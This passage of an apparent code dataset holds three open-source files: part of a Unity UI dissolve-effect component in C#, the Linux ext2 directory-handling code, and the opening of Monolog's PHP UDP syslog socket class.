SetEffectParamsDirty();\n }\n }\n\n /// <summary>\n /// Edge width.\n /// </summary>\n public float width\n {\n get { return m_Width; }\n set\n {\n value = Mathf.Clamp(value, 0, 1);\n if (Mathf.Approximately(m_Width, value)) return;\n m_Width = value;\n SetEffectParamsDirty();\n }\n }\n\n /// <summary>\n /// Edge softness.\n /// </summary>\n public float softness\n {\n get { return m_Softness; }\n set\n {\n value = Mathf.Clamp(value, 0, 1);\n if (Mathf.Approximately(m_Softness, value)) return;\n m_Softness = value;\n SetEffectParamsDirty();\n }\n }\n\n /// <summary>\n /// Edge color.\n /// </summary>\n public Color color\n {\n get { return m_Color; }\n set\n {\n if (m_Color == value) return;\n m_Color = value;\n SetEffectParamsDirty();\n }\n }\n\n /// <summary>\n /// Noise texture.\n /// </summary>\n public Texture transitionTexture\n {\n get\n {\n return m_TransitionTexture\n ? m_TransitionTexture\n : defaultTransitionTexture;\n }\n set\n {\n if (m_TransitionTexture == value) return;\n m_TransitionTexture = value;\n SetMaterialDirty();\n }\n }\n\n private static Texture defaultTransitionTexture\n {\n get\n {\n return _defaultTransitionTexture\n ? _defaultTransitionTexture\n : (_defaultTransitionTexture = Resources.Load<Texture>(\"Default-Transition\"));\n }\n }\n\n /// <summary>\n /// The area for effect.\n /// </summary>\n public EffectArea effectArea\n {\n get { return m_EffectArea; }\n set\n {\n if (m_EffectArea == value) return;\n m_EffectArea = value;\n SetVerticesDirty();\n }\n }\n\n /// <summary>\n /// Keep aspect ratio.\n /// </summary>\n public bool keepAspectRatio\n {\n get { return m_KeepAspectRatio; }\n set\n {\n if (m_KeepAspectRatio == value) return;\n m_KeepAspectRatio = value;\n SetVerticesDirty();\n }\n }\n\n /// <summary>\n /// Color effect mode.\n /// </summary>\n public ColorMode colorMode\n {\n get { return m_ColorMode; }\n set\n {\n if (m_ColorMode == value) return;\n m_ColorMode = value;\n SetMaterialDirty();\n }\n }\n\n /// <summary>\n /// Gets the parameter texture.\n /// </summary>\n public override ParameterTexture paramTex\n {\n get { return s_ParamTex; }\n }\n\n public EffectPlayer effectPlayer\n {\n get { return m_Player ?? (m_Player = new EffectPlayer()); }\n }\n\n public override Hash128 GetMaterialHash(Material material)\n {\n if (!isActiveAndEnabled || !material || !material.shader)\n return k_InvalidHash;\n\n var shaderVariantId = (uint) ((int) m_ColorMode << 6);\n var resourceId = (uint) transitionTexture.GetInstanceID();\n return new Hash128(\n (uint) material.GetInstanceID(),\n k_ShaderId + shaderVariantId,\n resourceId,\n 0\n );\n }\n\n public override void ModifyMaterial(Material newMaterial, Graphic graphic)\n {\n var connector = GraphicConnector.FindConnector(graphic);\n newMaterial.shader = Shader.Find(string.Format(\"Hidden/{0} (UIDissolve)\", newMaterial.shader.name));\n SetShaderVariants(newMaterial, m_ColorMode);\n\n newMaterial.SetTexture(k_TransitionTexId, transitionTexture);\n paramTex.RegisterMaterial(newMaterial);\n }\n\n /// <summary>\n /// Modifies the mesh.\n /// </summary>\n public override void ModifyMesh(VertexHelper vh, Graphic graphic)\n {\n if (!isActiveAndEnabled)\n return;\n\n // bool isText = isTMPro || graphic is Text;\n var normalizedIndex = paramTex.GetNormalizedIndex(this);\n\n // rect.\n var tex = transitionTexture;\n var aspectRatio = m_KeepAspectRatio && tex ? ((float) tex.width) / tex.height : -1;\n var rect = m_EffectArea.GetEffectArea(vh, rectTransform.rect, aspectRatio);\n\n // Calculate vertex position.\n var vertex = default(UIVertex);\n var count = vh.currentVertCount;\n for (var i = 0; i < count; i++)\n {\n vh.PopulateUIVertex(ref vertex, i);\n float x;\n float y;\n connector.GetPositionFactor(m_EffectArea, i, rect, vertex.position, out x, out y);\n\n vertex.uv0 = new Vector2(\n Packer.ToFloat(vertex.uv0.x, vertex.uv0.y),\n Packer.ToFloat(x, y, normalizedIndex)\n );\n\n vh.SetUIVertex(vertex, i);\n }\n }\n\n protected override void SetEffectParamsDirty()\n {\n paramTex.SetData(this, 0, m_EffectFactor); // param1.x : location\n paramTex.SetData(this, 1, m_Width); // param1.y : width\n paramTex.SetData(this, 2, m_Softness); // param1.z : softness\n paramTex.SetData(this, 4, m_Color.r); // param2.x : red\n paramTex.SetData(this, 5, m_Color.g); // param2.y : green\n paramTex.SetData(this, 6, m_Color.b); // param2.z : blue\n }\n\n protected override void SetVerticesDirty()\n {\n base.SetVerticesDirty();\n\n _lastKeepAspectRatio = m_KeepAspectRatio;\n _lastEffectArea = m_EffectArea;\n }\n\n protected override void OnDidApplyAnimationProperties()\n {\n base.OnDidApplyAnimationProperties();\n\n if (_lastKeepAspectRatio != m_KeepAspectRatio\n || _lastEffectArea != m_EffectArea)\n SetVerticesDirty();\n }\n\n /// <summary>\n /// Play effect.\n /// </summary>\n public void Play(bool reset = true)\n {\n effectPlayer.Play(reset);\n }\n\n /// <summary>\n /// Stop effect.\n /// </summary>\n public void Stop(bool reset = true)\n {\n effectPlayer.Stop(reset);\n }\n\n protected override void OnEnable()\n {\n base.OnEnable();\n effectPlayer.OnEnable((f) => effectFactor = m_Reverse ? 1f - f : f);\n }\n\n protected override void OnDisable()\n {\n base.OnDisable();\n effectPlayer.OnDisable();\n }\n }\n}\n"} {"text": "// SPDX-License-Identifier: GPL-2.0\n/*\n * linux/fs/ext2/dir.c\n *\n * Copyright (C) 1992, 1993, 1994, 1995\n * Remy Card (card@masi.ibp.fr)\n * Laboratoire MASI - Institut Blaise Pascal\n * Universite Pierre et Marie Curie (Paris VI)\n *\n * from\n *\n * linux/fs/minix/dir.c\n *\n * Copyright (C) 1991, 1992 Linus Torvalds\n *\n * ext2 directory handling functions\n *\n * Big-endian to little-endian byte-swapping/bitmaps by\n * David S. Miller (davem@caip.rutgers.edu), 1995\n *\n * All code that works with directory layout had been switched to pagecache\n * and moved here. AV\n */\n\n#include \"ext2.h\"\n#include <linux/buffer_head.h>\n#include <linux/pagemap.h>\n#include <linux/swap.h>\n#include <linux/iversion.h>\n\ntypedef struct ext2_dir_entry_2 ext2_dirent;\n\n/*\n * Tests against MAX_REC_LEN etc were put in place for 64k block\n * sizes; if that is not possible on this arch, we can skip\n * those tests and speed things up.\n */\nstatic inline unsigned ext2_rec_len_from_disk(__le16 dlen)\n{\n\tunsigned len = le16_to_cpu(dlen);\n\n#if (PAGE_SIZE >= 65536)\n\tif (len == EXT2_MAX_REC_LEN)\n\t\treturn 1 << 16;\n#endif\n\treturn len;\n}\n\nstatic inline __le16 ext2_rec_len_to_disk(unsigned len)\n{\n#if (PAGE_SIZE >= 65536)\n\tif (len == (1 << 16))\n\t\treturn cpu_to_le16(EXT2_MAX_REC_LEN);\n\telse\n\t\tBUG_ON(len > (1 << 16));\n#endif\n\treturn cpu_to_le16(len);\n}\n\n/*\n * ext2 uses block-sized chunks. Arguably, sector-sized ones would be\n * more robust, but we have what we have\n */\nstatic inline unsigned ext2_chunk_size(struct inode *inode)\n{\n\treturn inode->i_sb->s_blocksize;\n}\n\nstatic inline void ext2_put_page(struct page *page)\n{\n\tkunmap(page);\n\tput_page(page);\n}\n\n/*\n * Return the offset into page `page_nr' of the last valid\n * byte in that page, plus one.\n */\nstatic unsigned\next2_last_byte(struct inode *inode, unsigned long page_nr)\n{\n\tunsigned last_byte = inode->i_size;\n\n\tlast_byte -= page_nr << PAGE_SHIFT;\n\tif (last_byte > PAGE_SIZE)\n\t\tlast_byte = PAGE_SIZE;\n\treturn last_byte;\n}\n\nstatic int ext2_commit_chunk(struct page *page, loff_t pos, unsigned len)\n{\n\tstruct address_space *mapping = page->mapping;\n\tstruct inode *dir = mapping->host;\n\tint err = 0;\n\n\tinode_inc_iversion(dir);\n\tblock_write_end(NULL, mapping, pos, len, len, page, NULL);\n\n\tif (pos+len > dir->i_size) {\n\t\ti_size_write(dir, pos+len);\n\t\tmark_inode_dirty(dir);\n\t}\n\n\tif (IS_DIRSYNC(dir)) {\n\t\terr = write_one_page(page);\n\t\tif (!err)\n\t\t\terr = sync_inode_metadata(dir, 1);\n\t} else {\n\t\tunlock_page(page);\n\t}\n\n\treturn err;\n}\n\nstatic bool ext2_check_page(struct page *page, int quiet)\n{\n\tstruct inode *dir = page->mapping->host;\n\tstruct super_block *sb = dir->i_sb;\n\tunsigned chunk_size = ext2_chunk_size(dir);\n\tchar *kaddr = page_address(page);\n\tu32 max_inumber = le32_to_cpu(EXT2_SB(sb)->s_es->s_inodes_count);\n\tunsigned offs, rec_len;\n\tunsigned limit = PAGE_SIZE;\n\text2_dirent *p;\n\tchar *error;\n\n\tif ((dir->i_size >> PAGE_SHIFT) == page->index) {\n\t\tlimit = dir->i_size & ~PAGE_MASK;\n\t\tif (limit & (chunk_size - 1))\n\t\t\tgoto Ebadsize;\n\t\tif (!limit)\n\t\t\tgoto out;\n\t}\n\tfor (offs = 0; offs <= limit - EXT2_DIR_REC_LEN(1); offs += rec_len) {\n\t\tp = (ext2_dirent *)(kaddr + offs);\n\t\trec_len = ext2_rec_len_from_disk(p->rec_len);\n\n\t\tif (unlikely(rec_len < EXT2_DIR_REC_LEN(1)))\n\t\t\tgoto Eshort;\n\t\tif (unlikely(rec_len & 3))\n\t\t\tgoto Ealign;\n\t\tif (unlikely(rec_len < EXT2_DIR_REC_LEN(p->name_len)))\n\t\t\tgoto Enamelen;\n\t\tif (unlikely(((offs + rec_len - 1) ^ offs) & ~(chunk_size-1)))\n\t\t\tgoto Espan;\n\t\tif (unlikely(le32_to_cpu(p->inode) > max_inumber))\n\t\t\tgoto Einumber;\n\t}\n\tif (offs != limit)\n\t\tgoto Eend;\nout:\n\tSetPageChecked(page);\n\treturn true;\n\n\t/* Too bad, we had an error */\n\nEbadsize:\n\tif (!quiet)\n\t\text2_error(sb, __func__,\n\t\t\t\"size of directory #%lu is not a multiple \"\n\t\t\t\"of chunk size\", dir->i_ino);\n\tgoto fail;\nEshort:\n\terror = \"rec_len is smaller than minimal\";\n\tgoto bad_entry;\nEalign:\n\terror = \"unaligned directory entry\";\n\tgoto bad_entry;\nEnamelen:\n\terror = \"rec_len is too small for name_len\";\n\tgoto bad_entry;\nEspan:\n\terror = \"directory entry across blocks\";\n\tgoto bad_entry;\nEinumber:\n\terror = \"inode out of bounds\";\nbad_entry:\n\tif (!quiet)\n\t\text2_error(sb, __func__, \"bad entry in directory #%lu: : %s - \"\n\t\t\t\"offset=%lu, inode=%lu, rec_len=%d, name_len=%d\",\n\t\t\tdir->i_ino, error, (page->index<<PAGE_SHIFT)+offs,\n\t\t\t(unsigned long) le32_to_cpu(p->inode),\n\t\t\trec_len, p->name_len);\n\tgoto fail;\nEend:\n\tif (!quiet) {\n\t\tp = (ext2_dirent *)(kaddr + offs);\n\t\text2_error(sb, \"ext2_check_page\",\n\t\t\t\"entry in directory #%lu spans the page boundary\"\n\t\t\t\"offset=%lu, inode=%lu\",\n\t\t\tdir->i_ino, (page->index<<PAGE_SHIFT)+offs,\n\t\t\t(unsigned long) le32_to_cpu(p->inode));\n\t}\nfail:\n\tSetPageError(page);\n\treturn false;\n}\n\nstatic struct page * ext2_get_page(struct inode *dir, unsigned long n,\n\t\t\t\t int quiet)\n{\n\tstruct address_space *mapping = dir->i_mapping;\n\tstruct page *page = read_mapping_page(mapping, n, NULL);\n\tif (!IS_ERR(page)) {\n\t\tkmap(page);\n\t\tif (unlikely(!PageChecked(page))) {\n\t\t\tif (PageError(page) || !ext2_check_page(page, quiet))\n\t\t\t\tgoto fail;\n\t\t}\n\t}\n\treturn page;\n\nfail:\n\text2_put_page(page);\n\treturn ERR_PTR(-EIO);\n}\n\n/*\n * NOTE! unlike strncmp, ext2_match returns 1 for success, 0 for failure.\n *\n * len <= EXT2_NAME_LEN and de != NULL are guaranteed by caller.\n */\nstatic inline int ext2_match (int len, const char * const name,\n\t\t\t\t\tstruct ext2_dir_entry_2 * de)\n{\n\tif (len != de->name_len)\n\t\treturn 0;\n\tif (!de->inode)\n\t\treturn 0;\n\treturn !memcmp(name, de->name, len);\n}\n\n/*\n * p is at least 6 bytes before the end of page\n */\nstatic inline ext2_dirent *ext2_next_entry(ext2_dirent *p)\n{\n\treturn (ext2_dirent *)((char *)p +\n\t\t\text2_rec_len_from_disk(p->rec_len));\n}\n\nstatic inline unsigned \next2_validate_entry(char *base, unsigned offset, unsigned mask)\n{\n\text2_dirent *de = (ext2_dirent*)(base + offset);\n\text2_dirent *p = (ext2_dirent*)(base + (offset&mask));\n\twhile ((char*)p < (char*)de) {\n\t\tif (p->rec_len == 0)\n\t\t\tbreak;\n\t\tp = ext2_next_entry(p);\n\t}\n\treturn (char *)p - base;\n}\n\nstatic unsigned char ext2_filetype_table[EXT2_FT_MAX] = {\n\t[EXT2_FT_UNKNOWN]\t= DT_UNKNOWN,\n\t[EXT2_FT_REG_FILE]\t= DT_REG,\n\t[EXT2_FT_DIR]\t\t= DT_DIR,\n\t[EXT2_FT_CHRDEV]\t= DT_CHR,\n\t[EXT2_FT_BLKDEV]\t= DT_BLK,\n\t[EXT2_FT_FIFO]\t\t= DT_FIFO,\n\t[EXT2_FT_SOCK]\t\t= DT_SOCK,\n\t[EXT2_FT_SYMLINK]\t= DT_LNK,\n};\n\n#define S_SHIFT 12\nstatic unsigned char ext2_type_by_mode[S_IFMT >> S_SHIFT] = {\n\t[S_IFREG >> S_SHIFT]\t= EXT2_FT_REG_FILE,\n\t[S_IFDIR >> S_SHIFT]\t= EXT2_FT_DIR,\n\t[S_IFCHR >> S_SHIFT]\t= EXT2_FT_CHRDEV,\n\t[S_IFBLK >> S_SHIFT]\t= EXT2_FT_BLKDEV,\n\t[S_IFIFO >> S_SHIFT]\t= EXT2_FT_FIFO,\n\t[S_IFSOCK >> S_SHIFT]\t= EXT2_FT_SOCK,\n\t[S_IFLNK >> S_SHIFT]\t= EXT2_FT_SYMLINK,\n};\n\nstatic inline void ext2_set_de_type(ext2_dirent *de, struct inode *inode)\n{\n\tumode_t mode = inode->i_mode;\n\tif (EXT2_HAS_INCOMPAT_FEATURE(inode->i_sb, EXT2_FEATURE_INCOMPAT_FILETYPE))\n\t\tde->file_type = ext2_type_by_mode[(mode & S_IFMT)>>S_SHIFT];\n\telse\n\t\tde->file_type = 0;\n}\n\nstatic int\next2_readdir(struct file *file, struct dir_context *ctx)\n{\n\tloff_t pos = ctx->pos;\n\tstruct inode *inode = file_inode(file);\n\tstruct super_block *sb = inode->i_sb;\n\tunsigned int offset = pos & ~PAGE_MASK;\n\tunsigned long n = pos >> PAGE_SHIFT;\n\tunsigned long npages = dir_pages(inode);\n\tunsigned chunk_mask = ~(ext2_chunk_size(inode)-1);\n\tunsigned char *types = NULL;\n\tbool need_revalidate = !inode_eq_iversion(inode, file->f_version);\n\n\tif (pos > inode->i_size - EXT2_DIR_REC_LEN(1))\n\t\treturn 0;\n\n\tif (EXT2_HAS_INCOMPAT_FEATURE(sb, EXT2_FEATURE_INCOMPAT_FILETYPE))\n\t\ttypes = ext2_filetype_table;\n\n\tfor ( ; n < npages; n++, offset = 0) {\n\t\tchar *kaddr, *limit;\n\t\text2_dirent *de;\n\t\tstruct page *page = ext2_get_page(inode, n, 0);\n\n\t\tif (IS_ERR(page)) {\n\t\t\text2_error(sb, __func__,\n\t\t\t\t \"bad page in #%lu\",\n\t\t\t\t inode->i_ino);\n\t\t\tctx->pos += PAGE_SIZE - offset;\n\t\t\treturn PTR_ERR(page);\n\t\t}\n\t\tkaddr = page_address(page);\n\t\tif (unlikely(need_revalidate)) {\n\t\t\tif (offset) {\n\t\t\t\toffset = ext2_validate_entry(kaddr, offset, chunk_mask);\n\t\t\t\tctx->pos = (n<<PAGE_SHIFT) + offset;\n\t\t\t}\n\t\t\tfile->f_version = inode_query_iversion(inode);\n\t\t\tneed_revalidate = false;\n\t\t}\n\t\tde = (ext2_dirent *)(kaddr+offset);\n\t\tlimit = kaddr + ext2_last_byte(inode, n) - EXT2_DIR_REC_LEN(1);\n\t\tfor ( ;(char*)de <= limit; de = ext2_next_entry(de)) {\n\t\t\tif (de->rec_len == 0) {\n\t\t\t\text2_error(sb, __func__,\n\t\t\t\t\t\"zero-length directory entry\");\n\t\t\t\text2_put_page(page);\n\t\t\t\treturn -EIO;\n\t\t\t}\n\t\t\tif (de->inode) {\n\t\t\t\tunsigned char d_type = DT_UNKNOWN;\n\n\t\t\t\tif (types && de->file_type < EXT2_FT_MAX)\n\t\t\t\t\td_type = types[de->file_type];\n\n\t\t\t\tif (!dir_emit(ctx, de->name, de->name_len,\n\t\t\t\t\t\tle32_to_cpu(de->inode),\n\t\t\t\t\t\td_type)) {\n\t\t\t\t\text2_put_page(page);\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\tctx->pos += ext2_rec_len_from_disk(de->rec_len);\n\t\t}\n\t\text2_put_page(page);\n\t}\n\treturn 0;\n}\n\n/*\n *\text2_find_entry()\n *\n * finds an entry in the specified directory with the wanted name. It\n * returns the page in which the entry was found (as a parameter - res_page),\n * and the entry itself. Page is returned mapped and unlocked.\n * Entry is guaranteed to be valid.\n */\nstruct ext2_dir_entry_2 *ext2_find_entry (struct inode *dir,\n\t\t\tconst struct qstr *child, struct page **res_page)\n{\n\tconst char *name = child->name;\n\tint namelen = child->len;\n\tunsigned reclen = EXT2_DIR_REC_LEN(namelen);\n\tunsigned long start, n;\n\tunsigned long npages = dir_pages(dir);\n\tstruct page *page = NULL;\n\tstruct ext2_inode_info *ei = EXT2_I(dir);\n\text2_dirent * de;\n\tint dir_has_error = 0;\n\n\tif (npages == 0)\n\t\tgoto out;\n\n\t/* OFFSET_CACHE */\n\t*res_page = NULL;\n\n\tstart = ei->i_dir_start_lookup;\n\tif (start >= npages)\n\t\tstart = 0;\n\tn = start;\n\tdo {\n\t\tchar *kaddr;\n\t\tpage = ext2_get_page(dir, n, dir_has_error);\n\t\tif (!IS_ERR(page)) {\n\t\t\tkaddr = page_address(page);\n\t\t\tde = (ext2_dirent *) kaddr;\n\t\t\tkaddr += ext2_last_byte(dir, n) - reclen;\n\t\t\twhile ((char *) de <= kaddr) {\n\t\t\t\tif (de->rec_len == 0) {\n\t\t\t\t\text2_error(dir->i_sb, __func__,\n\t\t\t\t\t\t\"zero-length directory entry\");\n\t\t\t\t\text2_put_page(page);\n\t\t\t\t\tgoto out;\n\t\t\t\t}\n\t\t\t\tif (ext2_match (namelen, name, de))\n\t\t\t\t\tgoto found;\n\t\t\t\tde = ext2_next_entry(de);\n\t\t\t}\n\t\t\text2_put_page(page);\n\t\t} else\n\t\t\tdir_has_error = 1;\n\n\t\tif (++n >= npages)\n\t\t\tn = 0;\n\t\t/* next page is past the blocks we've got */\n\t\tif (unlikely(n > (dir->i_blocks >> (PAGE_SHIFT - 9)))) {\n\t\t\text2_error(dir->i_sb, __func__,\n\t\t\t\t\"dir %lu size %lld exceeds block count %llu\",\n\t\t\t\tdir->i_ino, dir->i_size,\n\t\t\t\t(unsigned long long)dir->i_blocks);\n\t\t\tgoto out;\n\t\t}\n\t} while (n != start);\nout:\n\treturn NULL;\n\nfound:\n\t*res_page = page;\n\tei->i_dir_start_lookup = n;\n\treturn de;\n}\n\nstruct ext2_dir_entry_2 * ext2_dotdot (struct inode *dir, struct page **p)\n{\n\tstruct page *page = ext2_get_page(dir, 0, 0);\n\text2_dirent *de = NULL;\n\n\tif (!IS_ERR(page)) {\n\t\tde = ext2_next_entry((ext2_dirent *) page_address(page));\n\t\t*p = page;\n\t}\n\treturn de;\n}\n\nino_t ext2_inode_by_name(struct inode *dir, const struct qstr *child)\n{\n\tino_t res = 0;\n\tstruct ext2_dir_entry_2 *de;\n\tstruct page *page;\n\t\n\tde = ext2_find_entry (dir, child, &page);\n\tif (de) {\n\t\tres = le32_to_cpu(de->inode);\n\t\text2_put_page(page);\n\t}\n\treturn res;\n}\n\nstatic int ext2_prepare_chunk(struct page *page, loff_t pos, unsigned len)\n{\n\treturn __block_write_begin(page, pos, len, ext2_get_block);\n}\n\n/* Releases the page */\nvoid ext2_set_link(struct inode *dir, struct ext2_dir_entry_2 *de,\n\t\t struct page *page, struct inode *inode, int update_times)\n{\n\tloff_t pos = page_offset(page) +\n\t\t\t(char *) de - (char *) page_address(page);\n\tunsigned len = ext2_rec_len_from_disk(de->rec_len);\n\tint err;\n\n\tlock_page(page);\n\terr = ext2_prepare_chunk(page, pos, len);\n\tBUG_ON(err);\n\tde->inode = cpu_to_le32(inode->i_ino);\n\text2_set_de_type(de, inode);\n\terr = ext2_commit_chunk(page, pos, len);\n\text2_put_page(page);\n\tif (update_times)\n\t\tdir->i_mtime = dir->i_ctime = current_time(dir);\n\tEXT2_I(dir)->i_flags &= ~EXT2_BTREE_FL;\n\tmark_inode_dirty(dir);\n}\n\n/*\n *\tParent is locked.\n */\nint ext2_add_link (struct dentry *dentry, struct inode *inode)\n{\n\tstruct inode *dir = d_inode(dentry->d_parent);\n\tconst char *name = dentry->d_name.name;\n\tint namelen = dentry->d_name.len;\n\tunsigned chunk_size = ext2_chunk_size(dir);\n\tunsigned reclen = EXT2_DIR_REC_LEN(namelen);\n\tunsigned short rec_len, name_len;\n\tstruct page *page = NULL;\n\text2_dirent * de;\n\tunsigned long npages = dir_pages(dir);\n\tunsigned long n;\n\tchar *kaddr;\n\tloff_t pos;\n\tint err;\n\n\t/*\n\t * We take care of directory expansion in the same loop.\n\t * This code plays outside i_size, so it locks the page\n\t * to protect that region.\n\t */\n\tfor (n = 0; n <= npages; n++) {\n\t\tchar *dir_end;\n\n\t\tpage = ext2_get_page(dir, n, 0);\n\t\terr = PTR_ERR(page);\n\t\tif (IS_ERR(page))\n\t\t\tgoto out;\n\t\tlock_page(page);\n\t\tkaddr = page_address(page);\n\t\tdir_end = kaddr + ext2_last_byte(dir, n);\n\t\tde = (ext2_dirent *)kaddr;\n\t\tkaddr += PAGE_SIZE - reclen;\n\t\twhile ((char *)de <= kaddr) {\n\t\t\tif ((char *)de == dir_end) {\n\t\t\t\t/* We hit i_size */\n\t\t\t\tname_len = 0;\n\t\t\t\trec_len = chunk_size;\n\t\t\t\tde->rec_len = ext2_rec_len_to_disk(chunk_size);\n\t\t\t\tde->inode = 0;\n\t\t\t\tgoto got_it;\n\t\t\t}\n\t\t\tif (de->rec_len == 0) {\n\t\t\t\text2_error(dir->i_sb, __func__,\n\t\t\t\t\t\"zero-length directory entry\");\n\t\t\t\terr = -EIO;\n\t\t\t\tgoto out_unlock;\n\t\t\t}\n\t\t\terr = -EEXIST;\n\t\t\tif (ext2_match (namelen, name, de))\n\t\t\t\tgoto out_unlock;\n\t\t\tname_len = EXT2_DIR_REC_LEN(de->name_len);\n\t\t\trec_len = ext2_rec_len_from_disk(de->rec_len);\n\t\t\tif (!de->inode && rec_len >= reclen)\n\t\t\t\tgoto got_it;\n\t\t\tif (rec_len >= name_len + reclen)\n\t\t\t\tgoto got_it;\n\t\t\tde = (ext2_dirent *) ((char *) de + rec_len);\n\t\t}\n\t\tunlock_page(page);\n\t\text2_put_page(page);\n\t}\n\tBUG();\n\treturn -EINVAL;\n\ngot_it:\n\tpos = page_offset(page) +\n\t\t(char*)de - (char*)page_address(page);\n\terr = ext2_prepare_chunk(page, pos, rec_len);\n\tif (err)\n\t\tgoto out_unlock;\n\tif (de->inode) {\n\t\text2_dirent *de1 = (ext2_dirent *) ((char *) de + name_len);\n\t\tde1->rec_len = ext2_rec_len_to_disk(rec_len - name_len);\n\t\tde->rec_len = ext2_rec_len_to_disk(name_len);\n\t\tde = de1;\n\t}\n\tde->name_len = namelen;\n\tmemcpy(de->name, name, namelen);\n\tde->inode = cpu_to_le32(inode->i_ino);\n\text2_set_de_type (de, inode);\n\terr = ext2_commit_chunk(page, pos, rec_len);\n\tdir->i_mtime = dir->i_ctime = current_time(dir);\n\tEXT2_I(dir)->i_flags &= ~EXT2_BTREE_FL;\n\tmark_inode_dirty(dir);\n\t/* OFFSET_CACHE */\nout_put:\n\text2_put_page(page);\nout:\n\treturn err;\nout_unlock:\n\tunlock_page(page);\n\tgoto out_put;\n}\n\n/*\n * ext2_delete_entry deletes a directory entry by merging it with the\n * previous entry. Page is up-to-date. Releases the page.\n */\nint ext2_delete_entry (struct ext2_dir_entry_2 * dir, struct page * page )\n{\n\tstruct inode *inode = page->mapping->host;\n\tchar *kaddr = page_address(page);\n\tunsigned from = ((char*)dir - kaddr) & ~(ext2_chunk_size(inode)-1);\n\tunsigned to = ((char *)dir - kaddr) +\n\t\t\t\text2_rec_len_from_disk(dir->rec_len);\n\tloff_t pos;\n\text2_dirent * pde = NULL;\n\text2_dirent * de = (ext2_dirent *) (kaddr + from);\n\tint err;\n\n\twhile ((char*)de < (char*)dir) {\n\t\tif (de->rec_len == 0) {\n\t\t\text2_error(inode->i_sb, __func__,\n\t\t\t\t\"zero-length directory entry\");\n\t\t\terr = -EIO;\n\t\t\tgoto out;\n\t\t}\n\t\tpde = de;\n\t\tde = ext2_next_entry(de);\n\t}\n\tif (pde)\n\t\tfrom = (char*)pde - (char*)page_address(page);\n\tpos = page_offset(page) + from;\n\tlock_page(page);\n\terr = ext2_prepare_chunk(page, pos, to - from);\n\tBUG_ON(err);\n\tif (pde)\n\t\tpde->rec_len = ext2_rec_len_to_disk(to - from);\n\tdir->inode = 0;\n\terr = ext2_commit_chunk(page, pos, to - from);\n\tinode->i_ctime = inode->i_mtime = current_time(inode);\n\tEXT2_I(inode)->i_flags &= ~EXT2_BTREE_FL;\n\tmark_inode_dirty(inode);\nout:\n\text2_put_page(page);\n\treturn err;\n}\n\n/*\n * Set the first fragment of directory.\n */\nint ext2_make_empty(struct inode *inode, struct inode *parent)\n{\n\tstruct page *page = grab_cache_page(inode->i_mapping, 0);\n\tunsigned chunk_size = ext2_chunk_size(inode);\n\tstruct ext2_dir_entry_2 * de;\n\tint err;\n\tvoid *kaddr;\n\n\tif (!page)\n\t\treturn -ENOMEM;\n\n\terr = ext2_prepare_chunk(page, 0, chunk_size);\n\tif (err) {\n\t\tunlock_page(page);\n\t\tgoto fail;\n\t}\n\tkaddr = kmap_atomic(page);\n\tmemset(kaddr, 0, chunk_size);\n\tde = (struct ext2_dir_entry_2 *)kaddr;\n\tde->name_len = 1;\n\tde->rec_len = ext2_rec_len_to_disk(EXT2_DIR_REC_LEN(1));\n\tmemcpy (de->name, \".\\0\\0\", 4);\n\tde->inode = cpu_to_le32(inode->i_ino);\n\text2_set_de_type (de, inode);\n\n\tde = (struct ext2_dir_entry_2 *)(kaddr + EXT2_DIR_REC_LEN(1));\n\tde->name_len = 2;\n\tde->rec_len = ext2_rec_len_to_disk(chunk_size - EXT2_DIR_REC_LEN(1));\n\tde->inode = cpu_to_le32(parent->i_ino);\n\tmemcpy (de->name, \"..\\0\", 4);\n\text2_set_de_type (de, inode);\n\tkunmap_atomic(kaddr);\n\terr = ext2_commit_chunk(page, 0, chunk_size);\nfail:\n\tput_page(page);\n\treturn err;\n}\n\n/*\n * routine to check that the specified directory is empty (for rmdir)\n */\nint ext2_empty_dir (struct inode * inode)\n{\n\tstruct page *page = NULL;\n\tunsigned long i, npages = dir_pages(inode);\n\tint dir_has_error = 0;\n\n\tfor (i = 0; i < npages; i++) {\n\t\tchar *kaddr;\n\t\text2_dirent * de;\n\t\tpage = ext2_get_page(inode, i, dir_has_error);\n\n\t\tif (IS_ERR(page)) {\n\t\t\tdir_has_error = 1;\n\t\t\tcontinue;\n\t\t}\n\n\t\tkaddr = page_address(page);\n\t\tde = (ext2_dirent *)kaddr;\n\t\tkaddr += ext2_last_byte(inode, i) - EXT2_DIR_REC_LEN(1);\n\n\t\twhile ((char *)de <= kaddr) {\n\t\t\tif (de->rec_len == 0) {\n\t\t\t\text2_error(inode->i_sb, __func__,\n\t\t\t\t\t\"zero-length directory entry\");\n\t\t\t\tprintk(\"kaddr=%p, de=%p\\n\", kaddr, de);\n\t\t\t\tgoto not_empty;\n\t\t\t}\n\t\t\tif (de->inode != 0) {\n\t\t\t\t/* check for . and .. */\n\t\t\t\tif (de->name[0] != '.')\n\t\t\t\t\tgoto not_empty;\n\t\t\t\tif (de->name_len > 2)\n\t\t\t\t\tgoto not_empty;\n\t\t\t\tif (de->name_len < 2) {\n\t\t\t\t\tif (de->inode !=\n\t\t\t\t\t cpu_to_le32(inode->i_ino))\n\t\t\t\t\t\tgoto not_empty;\n\t\t\t\t} else if (de->name[1] != '.')\n\t\t\t\t\tgoto not_empty;\n\t\t\t}\n\t\t\tde = ext2_next_entry(de);\n\t\t}\n\t\text2_put_page(page);\n\t}\n\treturn 1;\n\nnot_empty:\n\text2_put_page(page);\n\treturn 0;\n}\n\nconst struct file_operations ext2_dir_operations = {\n\t.llseek\t\t= generic_file_llseek,\n\t.read\t\t= generic_read_dir,\n\t.iterate_shared\t= ext2_readdir,\n\t.unlocked_ioctl = ext2_ioctl,\n#ifdef CONFIG_COMPAT\n\t.compat_ioctl\t= ext2_compat_ioctl,\n#endif\n\t.fsync\t\t= ext2_fsync,\n};\n"} {"text": "<?php\n\n/*\n * This file is part of the Monolog package.\n *\n * (c) Jordi Boggiano <j.boggiano@seld.be>\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\nnamespace DeliciousBrains\\WP_Offload_Media\\Gcp\\Monolog\\Handler\\SyslogUdp;\n\nclass UdpSocket\n{\n const DATAGRAM_MAX_LENGTH = 65023;\n protected $ip;\n protected $port;\n protected $socket;\n public function __construct($ip, $port = 514)\n {\n $this->ip = $ip;\n $this->port = $port;\n $this->socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);\n }\n public function write($line, $header = \"\")\n {\n $this->send($this->assembleMessage($line, $header));\n }\n public function close()\n {\n if (is_resource($this->socket)) {\n socket_close($this->socket);\n $this->socket = null;\n }\n }\n protected function send($chunk)\n {\n if (!is_resource($this->socket)) {\n throw new 